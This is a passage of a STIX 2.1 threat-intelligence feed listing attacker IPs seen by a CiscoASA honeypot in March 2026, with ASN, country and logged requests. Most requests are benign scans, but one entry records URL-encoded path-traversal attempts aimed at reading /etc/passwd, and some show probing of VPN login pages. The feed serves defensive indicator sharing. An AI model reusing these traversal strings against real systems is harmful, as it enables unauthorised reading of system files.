      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T02:47:48.334Z",
          "last_seen": "2026-03-06T02:47:48.334Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--703aa7fc-13a3-490a-817e-e45b1d462e6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T02:49:14.372Z",
          "last_seen": "2026-03-06T02:49:14.372Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--77dbb507-cd87-4493-b19e-43c95fb57437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T02:49:22.878Z",
          "last_seen": "2026-03-06T02:49:22.878Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--6a0c1d08-8a33-40eb-8313-59409de8c405",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T02:49:16.792Z",
          "last_seen": "2026-03-06T02:49:16.792Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 50360 (Tamatiya EOOD)",
      "id": "indicator--2f3dfeb5-f446-4f85-acda-c4518b26789c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.49.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-06T03:17:16.814Z",
          "last_seen": "2026-03-27T05:17:24.308Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 50360,
          "as_org": "Tamatiya EOOD",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /sslvpn_logon.shtml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--4e155764-3848-4e58-894b-52a98fb958b3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:20:13.000Z",
      "valid_until": "2026-04-07T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-06T03:45:46.172Z",
          "last_seen": "2026-03-06T03:45:49.174Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--82940bc6-7717-45a1-833f-b757ba0c24d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:20:13.000Z",
      "valid_until": "2026-04-07T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T03:45:56.061Z",
          "last_seen": "2026-03-06T03:45:56.061Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--e04e7ff5-a1e3-4602-baa5-d17c11160d61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:20:13.000Z",
      "valid_until": "2026-04-07T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-06T03:45:42.744Z",
          "last_seen": "2026-03-06T03:45:45.746Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--13ecf10f-8617-47b2-9025-52da2e0290b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:20:13.000Z",
      "valid_until": "2026-04-07T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-06T03:45:49.619Z",
          "last_seen": "2026-03-06T03:45:52.844Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--e1eee194-08b0-4dc9-af56-166941c394a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:20:13.000Z",
      "valid_until": "2026-04-07T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-06T03:49:35.546Z",
          "last_seen": "2026-03-06T03:52:36.900Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T05:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: PL; ASN 201814 (MEVSPACE sp. z o.o.)",
      "id": "indicator--dacc2c77-7176-4bf2-bbef-e4f8fb424478",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.34.212.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:20:16.000Z",
      "valid_until": "2026-04-07T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-06T04:55:01.909Z",
          "last_seen": "2026-03-08T22:24:45.769Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 201814,
          "as_org": "MEVSPACE sp. z o.o.",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
            "\"GET /%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
            "\"GET /static/link/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--82ac691f-7fb0-4036-a578-fac91a5b1337",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:20:13.000Z",
      "valid_until": "2026-04-07T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T07:11:28.742Z",
          "last_seen": "2026-03-06T07:11:28.742Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T08:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--168653ee-334d-4471-b081-79c8c1b05626",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T08:20:15.000Z",
      "valid_until": "2026-04-07T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T07:22:42.965Z",
          "last_seen": "2026-03-06T07:22:42.965Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T08:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--59187425-6bd5-4a85-9f6b-458c4fb2ac96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T08:20:15.000Z",
      "valid_until": "2026-04-07T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-06T07:30:48.334Z",
          "last_seen": "2026-03-06T07:30:51.337Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T09:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398722 (Censys, Inc.)",
      "id": "indicator--3e7f98a3-344e-489b-b032-223c0a886b3b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T09:20:07.000Z",
      "valid_until": "2026-04-07T09:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 12,
          "first_seen": "2026-03-06T09:04:40.191Z",
          "last_seen": "2026-03-31T06:14:15.165Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398722,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T09:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: FR; ASN 209334 (Modat B.V.)",
      "id": "indicator--653977e4-4221-4e55-9ce5-a337fa97c5d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T09:20:07.000Z",
      "valid_until": "2026-04-07T09:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T08:23:07.209Z",
          "last_seen": "2026-03-06T08:23:07.209Z",
          "country": "France",
          "country_code": "FR",
          "asn": 209334,
          "as_org": "Modat B.V.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T11:20:29.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--b585b270-8c08-44d2-9d06-13f43eaac074",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T11:20:29.000Z",
      "valid_until": "2026-04-07T11:20:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-06T10:46:47.345Z",
          "last_seen": "2026-03-06T12:15:51.990Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T11:20:29.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SE; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--cf88d7f4-4508-4d97-9ed8-d6c8215dedf3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T11:20:29.000Z",
      "valid_until": "2026-04-07T11:20:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-06T10:46:48.055Z",
          "last_seen": "2026-03-06T12:15:08.535Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T14:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--66950415-1504-410d-8011-4eb94db48743",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.111.112.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:20:07.000Z",
      "valid_until": "2026-04-07T14:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 7,
          "first_seen": "2026-03-06T13:48:00.438Z",
          "last_seen": "2026-03-06T13:48:24.702Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T14:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a4810244-97bd-4bc3-91f8-b0978258f1d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '158.46.178.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:20:07.000Z",
      "valid_until": "2026-04-07T14:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T13:48:07.606Z",
          "last_seen": "2026-03-06T13:48:07.606Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T14:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--26b464c4-0b6a-4baf-bc7f-1ecf114c2453",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.160.216.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:20:07.000Z",
      "valid_until": "2026-04-07T14:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T13:48:09.860Z",
          "last_seen": "2026-03-06T13:48:09.860Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T14:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--51104d9c-45a6-4a7e-b121-033e34c17c1f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.192.32.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:20:07.000Z",
      "valid_until": "2026-04-07T14:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 9,
          "first_seen": "2026-03-06T13:48:04.011Z",
          "last_seen": "2026-03-06T13:48:30.371Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
